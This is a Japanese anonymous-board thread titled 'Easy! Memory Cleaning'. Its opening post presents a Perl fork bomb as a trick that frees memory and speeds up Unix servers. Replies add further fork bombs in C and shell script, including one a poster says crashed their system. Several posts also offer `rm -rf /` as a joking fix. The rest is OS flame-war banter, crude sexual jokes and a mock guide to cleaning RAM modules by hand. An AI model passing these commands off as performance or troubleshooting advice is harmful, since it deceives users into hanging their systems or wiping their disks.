簡単!メモリクリーニング

1名無しさん@お腹いっぱい。
垢版 |
NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
NGNG
>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。

ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
NGNG
>>291
漏れはむしろ、

MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人

だと思うのだがどうだ?
NGNG
>>292
むしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?

メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。
294名無しさん@お腹いっぱい。
垢版 |
NGNG
俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
NGNG
>>294
malloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな
NGNG
cmalloc
297名無しさん@お腹いっぱい。
垢版 |
NGNG
cmallocってC言語・・・?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
298名無しさん@お腹いっぱい。
垢版 |
NGNG
あはは
299あぼーん
垢版 |
NGNG
あぼーん
300あぼーん
垢版 |
NGNG
あぼーん
301名無しさん@お腹いっぱい。
垢版 |
NGNG
埋めるのなんざmemsetで一発だろ
302名無しさん@お腹いっぱい。
垢版 |
NGNG
free(calloc(N,1));
303あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。

NGNG
memsetとかallocとかいってるヤシ・・・

ネタだよね?
NGNG
>>294
> 実メモリの空きしか見てないどうしようもないソフトがあって。
キャッシュも見るようにおながいしてみれば?
307294
垢版 |
NGNG
>>304
プログラムのことはさっぱりわからないんだけど、それらはC言語の命令・・・なんだよね?

>>306
市販パッケージソフトなのでどうにもならないです・・・。
308304
垢版 |
NGNG
>>305
自分で試す気は毛頭無いけれど、まじめに書いているつもり。
309あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>307
>C言語の命令

関数だろ、C なら。
311名無しさん@お腹いっぱい。
垢版 |
NGNG
>>310
初心者にむなしいツッコミすんな
312あぼーん
垢版 |
NGNG
あぼーん
NGNG
俺の頭にC言語の命令をとばすのはやめろおお
NGNG
win系はfork関数サポートしてないんじゃなかったっけ?
NGNG
fork関数
fork関数
fork関数

と。
NGNG
>>314 張っとく
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vccore/html/_core_port_from_unix_to_win32.asp
NGNG
システムコール入り口への関数

と捉えると、fork関数でもよいではないかよいではないか
318名無しさん@お腹いっぱい。
垢版 |
NGNG
最近の話題サパーリ意味わからん
NGNG
forkダンス
forkダンス
forkダンス

と。
NGNG
>>1を走らせている状態(Load averageが1000を超えているような状態)でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
321314
垢版 |
NGNG
>>316
遅レススマソ。THX
322あぼーん
垢版 |
NGNG
あぼーん
NGNG
むしろコスモクリーニング
324名無しさん@お腹いっぱい。
垢版 |
NGNG
小宇宙クリーニング
NGNG
あるいはメモリリーキング
326名無しさん@お腹いっぱい。
垢版 |
NGNG
リナックスは糞

これ常識
327名無しさん@お腹いっぱい。
垢版 |
NGNG
なんじゃこりやぁぁぁぁぁぁぁぁぁぁ
NGNG
>>95
昔、MacOS8で応答しなくなり、二時間たっても回復しないから帰った
次の日見たら、応答してて待っていたダイアログ出してたw
329名無しさん@お腹いっぱい。
垢版 |
NGNG
放置プレイ
330名無しさん@お腹いっぱい。
垢版 |
NGNG
Mac埼京
331名無しさん@お腹いっぱい。
垢版 |
NGNG
$echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init

とかだとどうかな?
332名無しさん@お腹いっぱい。
垢版 |
NGNG
脂肪
333名無しさん@お腹いっぱい。
垢版 |
NGNG
リナックス脂肪
334あぼーん
垢版 |
NGNG
あぼーん
NGNG
強制シャットダウンでディスクを壊さん程度に。
NGNG
すげー、rm -rf /* やったら超速くなりました
337名無しさん@お腹いっぱい。
垢版 |
NGNG
すげー、rm -rf >>336 やったら超速くなりました
338あぼーん
垢版 |
NGNG
あぼーん
339名無しさん@お腹いっぱい。
垢版 |
NGNG
レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。
NGNG
>>336
rootになるのを忘れるな
341名無しさん@お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
. $0
342名無しさん@お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
case $1 in
>>1)
echo "逝ってよし"
;;
*)
echo "ウンコ喰え"
exit 1
;;
esac

exit 0
NGNG
>>338 すげー誤爆だな、
>>339 そうです。
344名無しさん@お腹いっぱい。
垢版 |
NGNG
簡単!ディスククリーニング
345名無しさん@お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
. $0 &
346名無しさん@お腹いっぱい。
垢版 |
NGNG
fork
347名無しさん@お腹いっぱい。
垢版 |
NGNG
Linuxが糞だという事実を確認するためのスレはここですか?
348名無しさん@お腹いっぱい。
垢版 |
NGNG
リナッ糞
349名無しさん@お腹いっぱい。
垢版 |
NGNG
やっぱWindows最強だな
NGNG
>>2
そこで質問したら、

890 :名無しさん@お腹いっぱい。 :03/05/01 07:02
>>889
rootでログインして

# rm -rf /

こんな答えしか返ってきませんでした。
だからまともなレスをもらうためにスレを立てるんです。
だいたい>>2は、そんな事を書くぐらいならアンインストールの方法を
一言書いてくれればいいじゃないですか。
351名無しさん@お腹いっぱい。
垢版 |
NGNG
ちんちん
352名無しさん@お腹いっぱい。
垢版 |
NGNG
ddのがナウイ
353名無しさん@お腹いっぱい。
垢版 |
NGNG
exit 0
354名無しさん@お腹いっぱい。
垢版 |
NGNG
洗剤つけてタワシでゴシゴシ洗え
355名無しさん@お腹いっぱい。
垢版 |
NGNG
この程度でリナックスは氏ぬなんて糞OSですね。
NGNG
>>331
time ./init
./init 0.00s user 0.00s system 0% cpu 0.001 total

何か?
357名無しさん@お腹いっぱい。
垢版 |
NGNG
>>356
子作りしてすぐ死ぬわけだから、
そいつ自体の負荷が小さいのは当然では?
358名無しさん@お腹いっぱい。
垢版 |
NGNG
>>345

システム落ちた....

なんで?
359名無しさん@お腹いっぱい。
垢版 |
NGNG
>>358
そのシステムってなぁに???
NGNG
>>358
わからんの?
361名無しさん@お腹いっぱい。
垢版 |
NGNG
なんでー?
362名無しさん@お腹いっぱい。
垢版 |
NGNG
なんでー?
363名無しさん@お腹いっぱい。
垢版 |
NGNG
なんでー?
364名無しさん@お腹いっぱい。
垢版 |
NGNG
そして伝説へ
365名無しさん@お腹いっぱい。
垢版 |
NGNG
無限増殖とは宇宙の神秘
366名無しさん@お腹いっぱい。
垢版 |
NGNG
潮吹きとは女体の神秘
367名無しさん@お腹いっぱい。
垢版 |
NGNG
リアルで潮吹きとやらを拝んでみたいものよのう。
NGNG
>>367
シーツが濡れて冷たくて寝る場所が無くなるとゆー罠
369名無しさん@お腹いっぱい。
垢版 |
NGNG
どこのだれが「潮吹き」と名づけたのか気になる
370名無しさん@お腹いっぱい。
垢版 |
NGNG
もちろん漁師。
371名無しさん@お腹いっぱい。
垢版 |
NGNG
女体の一本釣り
372名無しさん@お腹いっぱい。
垢版 |
NGNG
おまいらエロすぎ。
373名無しさん@お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
. $0
374名無しさん@お腹いっぱい。
垢版 |
NGNG
リナックスうんこ
375名無しさん@お腹いっぱい。
垢版 |
NGNG
#!/bin/sh
. $0 &



これやると、なんで落ちるの?
NGNG
リカーシブ ?
NGNG
#shutdown -h now で電源を切ったあとに
念のため、電源コードをコンセントから抜きます。
どこか金属の部分に触れて体に溜まった静電気を
放電します。
メモリスロット両脇の詰を外側に開いて
慎重にメモリを取り外します。このとき、なるべく
基板に触れないようにします。
メモリを無事外すことができたら、エアーダスターで
埃を吹きとばします。
接点が汚れてる場合は、綺麗にします。
例えば、酸化被膜が出来ている場合は何度か
メモリスロットに抜き差しをすることで自然に取れます。
接点復活剤や鉛筆も役に立ちます。
作業が終ったら、メモリを元に戻します。
メモリスロットの切込みを合わせてカチッと
音がするまで差しこみます。
これで、メモリクリーニングは完了です。

378名無しさん@お腹いっぱい。
垢版 |
NGNG
↑一所懸命考えた必死なLinuxerの書き込み
NGNG
↑常に必死なWindowserの書き込み
380名無しさん@お腹いっぱい。
垢版 |
NGNG
↑他に書くことが思いつかなかったMacerの書き込み
381名無しさん@お腹いっぱい。
垢版 |
NGNG
↑永 六輔
NGNG
2GB以上の増設の場合は水かぶって、五体投地してから。
383名無しさん@お腹いっぱい。
垢版 |
NGNG
Solaris9 + Blade100 で固まった。
外部からsshでもダメぽ。
384名無しさん@お腹いっぱい。
垢版 |
NGNG
結論:
Unixは駄目OS
NGNG
Windowsは駄目っていうか苦い
386名無しさん@お腹いっぱい。
垢版 |
NGNG
Plan9の時代がやってくる。
NGNG
Plan9の時代はもっと先
それまでにあの兎をどうにかしよう
NGNG
>>375
プロセスが鼠算式に増えてプロセステーブルを使い果たすからじゃないの。

389名無しさん@お腹いっぱい。
垢版 |
NGNG
セックスしたいからです。
セックス!!セックス!!セックス!!
NGNG
>>389
 >>371
391名無しさん@お腹いっぱい。
垢版 |
NGNG
誰かUnixの時代を終わらせてくれ。
現時点でWindows本命。
レスを投稿する

5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。

ニューススポーツなんでも実況